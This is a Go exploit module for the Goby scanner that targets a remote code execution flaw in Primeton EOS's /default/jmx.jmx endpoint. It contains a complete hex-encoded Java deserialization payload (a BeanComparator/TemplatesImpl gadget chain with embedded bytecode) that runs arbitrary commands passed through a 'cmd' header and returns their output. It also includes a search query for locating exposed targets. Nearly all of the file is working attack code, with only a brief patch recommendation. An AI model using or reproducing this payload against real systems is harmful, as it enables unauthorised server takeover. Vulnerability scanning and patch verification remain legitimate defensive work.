package exploits

import (
	"encoding/hex"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "primeton EOS default jmx Remote Code Execution Vulnerability",
    "Description": "<p>EOS Platform, the low-code development platform developed by PuYuan, is an enterprise-level \"integrated digital application support platform\" that provides a supportive environment for \"application incubation\" and \"operation and maintenance management\" for enterprises under a distributed architecture. EOS Platform has various functional development capabilities such as complex code development, agile drag-and-drop development, process collaborative development, service integration development, and data analysis development. It supports the development, deployment, monitoring, operation and governance of microservice applications, as well as application lifecycle management.</p><p>In the default module of the platform, there is a remote code execution vulnerability in the jmx interceptor, which allows attackers to execute arbitrary code and take control of the server.</p>",
    "Product": "primeton EOS",
    "Homepage": "https://www.primeton.com/",
    "DisclosureDate": "2023-06-12",
    "Author": "woo0nise@gmail.com",
    "FofaQuery": "title=\"404\" && body=\"Tomcat\"",
    "GobyQuery": "title=\"404\" && body=\"Tomcat\"",
    "Level": "3",
    "Impact": "<p>In the default module of the platform, there is a remote code execution vulnerability in the jmx interceptor, which allows attackers to execute arbitrary code and take control of the server.</p>",
    "Recommendation": "<p>Currently, the vendor has released an upgrade patch to fix the vulnerability. Users are advised to install the patch to fix the vulnerability. The patch can be obtained from the following link: <a href=\"https://www.primeton.com/\">https://www.primeton.com/</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackType",
            "type": "select",
            "value": "cmd",
            "show": ""
        },
        {
            "name": "cmd",
            "type": "input",
            "value": "whoami",
            "show": ""
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution",
        "Information technology application innovation industry"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        ""
    ],
    "CNNVD": [
        ""
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "普元低代码开发平台 default jmx 远程代码执行漏洞",
            "Product": "普元-低代码开发平台",
            "Description": "<p>普元低代码开发平台EOS Platform是企业级“一体化数字应用支撑平台”，为企业提供分布式架构下的“应用孵化”与“运维管理”的支撑环境。普元低代码开发平台EOS具备复杂代码开发、敏捷拖拽开发、流程协同开发、服务集成开发、数据分析开发等多种功能开发能力，支持微服务应用的开发、部署、监控、运维、治理等应用生命周期管理工作。<br></p><p>defualt 模块 jmx 拦截器存在远程代码执行漏洞，攻击者可通过该方式执行任意代码从而控制服务器。</p>",
            "Recommendation": "<p>厂商已提供漏洞修补方案，请关注厂商主页及时更新：<a href=\"https://www.primeton.com/\" target=\"_blank\">https://www.primeton.com/</a></p>",
            "Impact": "<p>defualt 模块 jmx 拦截器存在远程代码执行漏洞，攻击者可通过该方式执行任意代码从而控制服务器。<br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行",
                "信创"
            ]
        },
        "EN": {
            "Name": "primeton EOS default jmx Remote Code Execution Vulnerability",
            "Product": "primeton EOS",
            "Description": "<p>EOS Platform, the low-code development platform developed by PuYuan, is an enterprise-level \"integrated digital application support platform\" that provides a supportive environment for \"application incubation\" and \"operation and maintenance management\" for enterprises under a distributed architecture. EOS Platform has various functional development capabilities such as complex code development, agile drag-and-drop development, process collaborative development, service integration development, and data analysis development. It supports the development, deployment, monitoring, operation and governance of microservice applications, as well as application lifecycle management.</p><p>In the default module of the platform, there is a remote code execution vulnerability in the jmx interceptor, which allows attackers to execute arbitrary code and take control of the server.</p>",
            "Recommendation": "<p>Currently, the vendor has released an upgrade patch to fix the vulnerability. Users are advised to install the patch to fix the vulnerability. The patch can be obtained from the following link: <a href=\"https://www.primeton.com/\" target=\"_blank\">https://www.primeton.com/</a><br></p>",
            "Impact": "<p>In the default module of the platform, there is a remote code execution vulnerability in the jmx interceptor, which allows attackers to execute arbitrary code and take control of the server.</p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution",
                "Information technology application innovation industry"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PostTime": "2023-06-26",
    "PocId": "10816"
}`

	sendPayloadFlaghjODJM := func(hostinfo *httpclient.FixUrl, cmd string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/default/jmx.jmx")
		cfg.VerifyTls = false
		cfg.FollowRedirect = false
		cfg.Header.Store("cmd", cmd)
		data, _ := hex.DecodeString("aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000028d8cafebabe0000003400310a000900210700220a000200210800230a000200240800250b002600270700280700290100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000f4c79736f73657269616c2f5454313b010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e7307002a0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100063c696e69743e01000328295607002b01000a536f7572636546696c650100085454312e6a6176610c001c001d0100206a617661782f7363726970742f536372697074456e67696e654d616e616765720100026a730c002c002d0123417472797b6c6f616428226e6173686f726e3a6d6f7a696c6c615f636f6d7061742e6a7322297d63617463682841297b7d66756e6374696f6e20676574556e7361666528297b76617220413d6a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e556e7361666522292e6765744465636c617265644669656c642822746865556e7361666522293b72657475726e20412e73657441636365737369626c65282130292c412e676574286e756c6c297d66756e6374696f6e2072656d6f7665436c61737343616368652841297b76617220423d676574556e7361666528292c613d422e646566696e65416e6f6e796d6f7573436c61737328412c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c61737322292e6765745265736f75726365417353747265616d2822436c6173732e636c61737322292e72656164416c6c427974657328292c6e756c6c292e6765744465636c617265644669656c6428227265666c656374696f6e4461746122293b422e7075744f626a65637428412c422e6f626a6563744669656c644f66667365742861292c6e756c6c297d66756e6374696f6e206279706173735265666c656374696f6e46696c74657228297b76617220413b7472797b413d6a6176612e6c616e672e436c6173732e666f724e616d6528226a646b2e696e7465726e616c2e7265666c6563742e5265666c656374696f6e22297d63617463682842297b413d6a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e7265666c6563742e5265666c656374696f6e22297d76617220423d676574556e7361666528292c613d412e6765745265736f75726365417353747265616d28225265666c656374696f6e2e636c61737322292e72656164416c6c427974657328292c653d422e646566696e65416e6f6e796d6f7573436c61737328412c612c6e756c6c292c633d652e6765744465636c617265644669656c6428226669656c6446696c7465724d617022292c6c3d652e6765744465636c617265644669656c6428226d6574686f6446696c7465724d617022293b632e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d61702229292626422e7075744f626a65637428412c422e7374617469634669656c644f66667365742863292c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829292c6c2e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d61702229292626422e7075744f626a65637428412c422e7374617469634669656c644f6666736574286c292c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829292c72656d6f7665436c6173734361636865286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173732229297d66756e6374696f6e2073657441636365737369626c652841297b76617220423d676574556e7361666528292c613d6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e7265666c6563742e41636365737369626c654f626a65637422292e6765744465636c617265644669656c6428226f7665727269646522292c653d422e6f626a6563744669656c644f66667365742861293b422e707574426f6f6c65616e28412c652c2130297d66756e6374696f6e20646566696e65436c6173732841297b76617220423d6e756c6c2c613d6a6176612e6c616e672e53797374656d2e67657450726f706572747928226a6176612e76657273696f6e22292c653d676574556e7361666528292c633d6e6577206a6176612e6e65742e55524c436c6173734c6f61646572286a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6e65742e55524c22292c3029293b7472797b696628612e73706c697428222e22295b305d3e3d3131296279706173735265666c656374696f6e46696c74657228292c646566696e65436c6173734d6574686f643d6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173734c6f6164657222292e6765744465636c617265644d6574686f642822646566696e65436c617373222c6a6176612e6c616e672e436c6173732e666f724e616d6528225b4222292c6a6176612e6c616e672e496e74656765722e545950452c6a6176612e6c616e672e496e74656765722e54595045292c73657441636365737369626c6528646566696e65436c6173734d6574686f64292c423d646566696e65436c6173734d6574686f642e696e766f6b6528632c412c302c412e6c656e677468293b656c73657b766172206c3d6e6577206a6176612e73656375726974792e50726f74656374696f6e446f6d61696e286e6577206a6176612e73656375726974792e436f6465536f75726365286e756c6c2c6a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e73656375726974792e636572742e436572746966696361746522292c3029292c6e756c6c2c632c5b5d293b423d652e646566696e65436c617373286e756c6c2c412c302c412e6c656e6774682c632c6c297d7d63617463682841297b412e7072696e74537461636b547261636528297d66696e616c6c797b72657475726e20427d7d66756e6374696f6e206261736536344465636f6465546f427974652841297b76617220423b7472797b423d6a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e4241534536344465636f64657222292e6e6577496e7374616e636528292e6465636f64654275666665722841297d63617463682861297b423d6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e42617365363422292e6e6577496e7374616e636528292e6765744465636f64657228292e6465636f64652841297d72657475726e20427d76617220636f64653d2279763636766741414144494246676f4149414230436742314148594b4148554164776f4149414234434142354367416541486f4b4148734166416f41657742394277422b4351422f4149414b4148554167516f416767434443674231414951494147734b41434d4168516741686767416877634169416741695167416967634169776f414867434d4341434e4341434f427743504377415a414a414c41426b416b5167416b6767416b7763416c416f41486743564277435743674358414a6749414a6b48414a6f49414a734b414667416e416f41497743644341436543514170414a3848414b414b41436b416f5167416f676f415741436a43674165414b5149414b5548414b594b414234417077674171416341715167417167674171776f41486743734277437443674231414b344b414b38416f77674173416f4149774378434143794367422f414c4d4b41434d4174416f414977433143414332434143334341433442774335436742434148514b414549417567674175776f415167434243414338434143394341432b4341432f43674441414d454b414d41417767634177776f41784144464367424e414d5949414d634b4145304179416f415451444a4367424e414d6f4b414d514179776f417841444d4367417941494549414d3048414d344241415938615735706444344241414d6f4b565942414152446232526c4151415054476c755a55353162574a6c636c5268596d786c4151414e553352685932744e5958425559574a735a5163417a6763417a77634130416341305163416d6763416c676341697763416a77634171514541436b56345932567764476c76626e4d4241416c736232466b5132786863334d424143556f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d63765132786863334d3742774374415141455a58686c597745414a69684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576624746755a79395464484a70626d633742774453427744544277444442774335427744554151414b55323931636d4e6c526d6c735a514541423045304c6d7068646d454d41466b4157676341305177413151445744414458414e674d414e6b41326745414233526f636d56685a484d4d414e734133416341304177413351446544414466414f414241424e6254477068646d4576624746755a79395561484a6c595751374277446844414469414f4d4d414f514135516341356777413577446f44414470414f554d414f6f4136774541424768306448414241415a3059584a6e5a58514241424a7159585a684c327868626d6376556e5675626d46696247554241415a3061476c7a4a4441424141646f5957356b6247567941514165616d4632595339735957356e4c3035765533566a61455a705a57786b5258686a5a5842306157397544414473414e6f4241415a6e624739695957774241417077636d396a5a584e7a62334a7a4151414f616d46325953393164476c734c3078706333514d414f3041376777413377447641514144636d56784151414c5a325630556d567a63473975633255424141397159585a684c327868626d63765132786863334d4d415041413851454145477068646d4576624746755a793950596d706c593351484150494d41504d41394145414357646c6445686c5957526c6367454145477068646d4576624746755a79395464484a70626d634241414e6a6257514d4147734162417741395144324151414a63325630553352686448567a44414433415067424142467159585a684c327868626d6376535735305a57646c63677741575144354151416b62334a6e4c6d467759574e6f5a5335306232316a59585175645852706243356964575975516e6c305a554e6f645735724441426f41476b4d41506f412b77454143484e6c64454a356447567a415141435730494d41507741385145414232527656334a706447554241424e7159585a684c327868626d63765258686a5a5842306157397541514154616d46325953357561573875516e6c305a554a315a6d5a6c63674541424864795958414d415030416151454149477068646d4576624746755a7939446247467a6330357664455a766457356b5258686a5a584230615739754441442b41503848415141424141414d41514542416745414232397a4c6d35686257554d41514d41624177424241446c44414546414f554241414e3361573442414152776157356e415141434c5734424142647159585a684c327868626d6376553352796157356e516e56706247526c63677742426745484151414649433175494451424141497659774541425341746443413041514143633267424141497459776342434177424351454b44414272415173424142467159585a684c3356306157777655324e68626d356c63676341306777424441454e4441425a4151344241414a635951774244774551444145524152494d41524d41355177424641454e4441455641466f424142426a623231745957356b49473576644342756457787341514143515451424142567159585a684c327868626d6376564768795a57466b52334a76645841424142647159585a684c327868626d6376636d566d6247566a64433947615756735a41454145477068646d4576624746755a79395561484a6c595751424142467159585a684c327868626d637655484a765932567a637745414531744d616d4632595339735957356e4c314e30636d6c755a7a734241424e7159585a684c327868626d63765647687962336468596d786c4151414e59335679636d56756446526f636d56685a4145414643677054477068646d4576624746755a79395561484a6c595751374151414f5a325630564768795a57466b52334a766458414241426b6f4b55787159585a684c327868626d6376564768795a57466b52334a7664584137415141495a3256305132786863334d4241424d6f4b55787159585a684c327868626d63765132786863334d37415141515a3256305247566a624746795a575247615756735a4145414c53684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576624746755a7939795a575a735a574e304c305a705a57786b4f77454144584e6c6445466a5932567a63326c69624755424141516f57696c57415141445a3256304151416d4b45787159585a684c327868626d637654324a715a574e304f796c4d616d4632595339735957356e4c303969616d566a644473424142427159585a684c327868626d637655336c7a6447567441514144623356304151415654477068646d45766157387655484a70626e525464484a6c59573037415141496447395464484a70626d63424142516f4b55787159585a684c327868626d6376553352796157356e4f77454145327068646d45766157387655484a70626e525464484a6c5957304241416477636d6c7564477875415141564b45787159585a684c327868626d6376553352796157356e4f796c57415141485a325630546d46745a51454143474e76626e52686157357a415141624b45787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f796c614151414e5a325630553356775a584a6a6247467a6377454142484e70656d554241414d6f4b556b424142556f53536c4d616d4632595339735957356e4c303969616d566a6444734241416c6e5a58524e5a58526f623251424145416f54477068646d4576624746755a79395464484a70626d63375730787159585a684c327868626d63765132786863334d374b55787159585a684c327868626d6376636d566d6247566a6443394e5a58526f6232513741514159616d4632595339735957356e4c334a6c5a6d786c59335176545756306147396b41514147615735326232746c415141354b45787159585a684c327868626d637654324a715a574e304f31744d616d4632595339735957356e4c303969616d566a6444737054477068646d4576624746755a793950596d706c59335137415141495a325630516e6c305a584d424141516f4b5674434151414556466c51525145414555787159585a684c327868626d63765132786863334d37415141454b456b70566745414332356c64306c7563335268626d4e6c415141554b436c4d616d4632595339735957356e4c303969616d566a644473424142466e5a5852455a574e7359584a6c5a45316c644768765a41454142325a76636b3568625755424142566e5a585244623235305a5868305132786863334e4d6232466b5a58494241426b6f4b55787159585a684c327868626d63765132786863334e4d6232466b5a58493741514156616d4632595339735957356e4c304e7359584e7a544739685a475679415141475a5846315957787a415141564b45787159585a684c327868626d637654324a715a574e304f796c614151414c5a32563055484a766347567964486b424141743062307876643256795132467a5a514541424852796157304241415a686348426c626d51424143306f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d6376553352796157356e516e56706247526c636a73424142467159585a684c327868626d6376556e567564476c745a514541436d646c64464a31626e5270625755424142556f4b55787159585a684c327868626d6376556e567564476c745a5473424143676f5730787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c31427962324e6c63334d374151414f5a325630535735776458525464484a6c595730424142636f4b55787159585a684c326c764c306c7563485630553352795a5746744f7745414743684d616d4632595339706279394a626e423164464e30636d566862547370566745414448567a5a55526c62476c746158526c636745414a79684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576645852706243395459324675626d56794f774541423268686330356c6548514241414d6f4b566f42414152755a5868304151414f5a32563052584a7962334a5464484a6c595730424141646b5a584e30636d39354143454157414167414141414141414441414541575142614141494157774141424f45414341415441414143724371334141473441414b3241414e4d4b375941424249467467414754537745746741484c43753241416a4141416e4141416c4f4c546f454751532b4e6755444e675956426855466f674a3247515156426a493642786b487877414770774a687367414b47516532414175324141775a4237594144546f49475167534472594144356f4144526b494568433241412b614141616e416a675a42375941424249527467414754537745746741484c426b48746741494f676b5a4363454145706f414271634346526b4a7467414545684f3241415a4e4c4153324141637347516d324141673643526b4a746741454568533241415a4e707741574f676f5a43625941424c594146725941466849557467414754537745746741484c426b4a746741494f676b5a43625941424c594146684958746741475461634145446f4b47516d324141515346375941426b3073424c59414279775a4362594143446f4a47516d3241415153474c5941426b3073424c59414279775a43625941434d41414763414147546f4b417a594c4651735a43726b41476745416f67467647516f5643376b41477749414f67775a444c5941424249637467414754537745746741484c426b4d746741494f67305a4462594142424964413730414872594148786b4e41373041494c594149546f4f4751323241415153496753394142355a4178496a5537594148786b4e424c304149466b4445695254746741687741416a4f67385a44386341427163412f796f5a443759414a6259414a6a6f5147513632414151534a7753394142355a413749414b464f324142385a446753394143425a413773414b566b52414d6933414370547467416856796f534b3759414c446f52475247324143303643526b52456934477651416557514d534c314e5a424c49414b464e5a426249414b464f324144415a435161394143425a41786b5155316b457577417057514f33414370545751573741436c5a4752432b74774171553759414956635a4472594142424978424c3041486c6b444752465474674166475134457651416757514d5a43564f3241434658707742504f684571456a4f324143773645686b53456a51457651416557514d534c314f324144415a456753394143425a41786b515537594149546f4a47513632414151534d5153394142355a41786b535537594148786b4f424c304149466b4447516c5474674168563663414634514c4161662b6936634143446f497077414468415942702f324a73514149414b734174674335414255413251446e414f6f4146514852416b5543534141794144384152414b674144494152774274417141414d674277414a41436f414179414a4d436c414b67414449436c774b64417141414d674143414677414141447141446f414141414c414151414441414c414130414651414f41426f414477416d41424141507741534145634145774253414251415751415641484141466742374142634167414159414967414751435441426f416e674162414b4d41484143724142344174674168414c6b4148774337414341417a414169414e45414977445a414355413577416f414f6f414a6744734143634139774170415077414b6745454143734244774173415251414c514569414334424d514176415477414d4146484144454254414179415651414d774674414451426b774131415a73414e67476d414463423051413541646b414f6748674144734349774138416b554151514a49414430435367412b416c494150774a79414541436c414243417063414c674b64414559436f4142454171494152514b6c4142414371774249414630414141447a41424c2f4144454142776341586763415877634159416341435163414351454241414438414255484147483841435548414749432f4141694277426a5a5163415a424a644277426b445030414c5163415a51482f4148554145416341586763415877634159416341435163414351454242774268427742694277426a4277426c41516341597763415977634159776341596741412f7743734142454841463448414638484147414841416b4841416b42415163415951634159676341597763415a51454841474d4841474d4841474d484147494841433841415163415a767341532f38414167414d4277426542774266427742674277414a4277414a41514548414745484147494841474d48414755424141442f4141554143416341586763415877634159416341435163414351454242774268414142434277426d2b6741452b4141464147634141414145414145414d67414241476741615141434146734141414246414149414177414141424572754141317345323441414b324144637274674134734141424141414142414146414459414167426341414141446741444141414154414146414530414267424f414630414141414741414646427742714147634141414145414145414e67414241477341624141424146734141414b79414151414351414141546f7278674532456a6b72746741366d674574456a7534414479324144314e4b375941506b774254674536424377535037594144356b4151437353514c594144356b41494373535162594144356f4146377341516c6d3341454d7274674245456b57324145533241455a4d4272304149316b44456952545751515352314e5a425374544f67536e41443072456b433241412b5a41434172456b473241412b614142653741454a5a747742444b37594152424a4974674245746742475441613941434e5a41784a4a55316b45456b705457515572557a6f457541424c475153324145784f7577424e575332324145363341453853554c594155546f464751573241464b5a4141735a4262594155366341425249354f6761374145315a4c625941564c634154784a51746742524f67573741454a5a74774244475161324145515a4262594155706b4143786b467467425470774146456a6d32414553324145593642686b474f676374786741484c62594156526b4873446f464751573241465936426933474141637474674256475161774f676774786741484c62594156526b4976784a5873414145414b414243774557414449416f41454c41536f4141414557415238424b67414141536f424c41457141414141416742634141414165674165414141415577414e41465141466742564142734156674164414663414941425941436b415751413741466f41547742634147594158674234414638416a414268414b41415a414370414755417577426d414d38415a7744684147674242774270415173416251455041473442457742704152594161674559414773424877427441534d416267456e414773424b6742744154414162674530414841424e77427941463041414144474141372b414538484147494841473048414734574a52503841436f4841473942427742692f774176414163484146344841474948414749484147304841473448414738484147494141516341635038414151414842774265427742694277426942774274427742754277427642774269414149484148414841474c3841424d4841474c2f414149414251634158676341596763415967634162516341626741424277426d2f5141514277426d427742692f77414341415548414634484147494841474948414730484147344141516341636638414351414a427742654277426942774269427742744277427541414141427742784141442f4141494141676341586763415967414141414541636741414141494163773d3d223b636c7a3d646566696e65436c617373286261736536344465636f6465546f4279746528636f646529292c636c7a2e6e6577496e7374616e636528293b07002e0c002f003001000d79736f73657269616c2f545431010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c6574010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0100136a6176612f6c616e672f457863657074696f6e01000f676574456e67696e6542794e616d6501002f284c6a6176612f6c616e672f537472696e673b294c6a617661782f7363726970742f536372697074456e67696e653b0100196a617661782f7363726970742f536372697074456e67696e650100046576616c010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f4f626a6563743b0021000800090000000000030001000a000b0002000c0000003f0000000300000001b100000002000d00000006000100000014000e00000020000300000001000f001000000000000100110012000100000001001300140002001500000004000100160001000a00170002000c000000490000000400000001b100000002000d00000006000100000018000e0000002a000400000001000f00100000000000010011001200010000000100180019000200000001001a001b0003001500000004000100160001001c001d0002000c0000004b00020001000000192ab70001bb000259b700031204b600051206b90007020057b100000002000d0000000e00030000001b0004001c0018001d000e0000000c000100000019000f001000000015000000040001001e0001001f0000000200207074001248656c6c6f54656d706c61746573496d706c707701007871007e000d78")
		cfg.Data = string(data)
		return httpclient.DoHttpRequest(hostinfo, cfg)
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, hostinfo *httpclient.FixUrl, stepLogs *scanconfig.SingleScanConfig) bool {
			// echo eos-framework-goby md5 值内容
			rsp, err := sendPayloadFlaghjODJM(hostinfo, "echo 38e04ff9770d9740")
			if err != nil {
				return false
			} else {
				return strings.Contains(rsp.Utf8Html, "38e04ff9770d9740")
			}
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			attackType := goutils.B2S(ss.Params["attackType"])
			if attackType == "cmd" {
				if rsp, err := sendPayloadFlaghjODJM(expResult.HostInfo, goutils.B2S(ss.Params["cmd"])); err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
				} else {
					hexResult := goutils.ToHex(rsp.Utf8Html, 0)
					index := strings.Index(hexResult, "00057372003c636f6d2e7072696d65746f6e2e7074702e636f6d6d6f6e732e6d616e6167656d656e742e7370692e6a6d782e526573756c74446566696e6974696f")
					if rsp.StatusCode == 200 && (index-6) > -1 {
						expResult.Success = true
						result, _ := hex.DecodeString(hexResult[:index-6])
						expResult.Output = string(result)
					} else {
						expResult.Success = false
						expResult.Output = "漏洞利用失败"
					}
				}
			} else {
				expResult.Success = false
				expResult.Output = "未知的利用方式"
			}
			return expResult
		},
	))
}
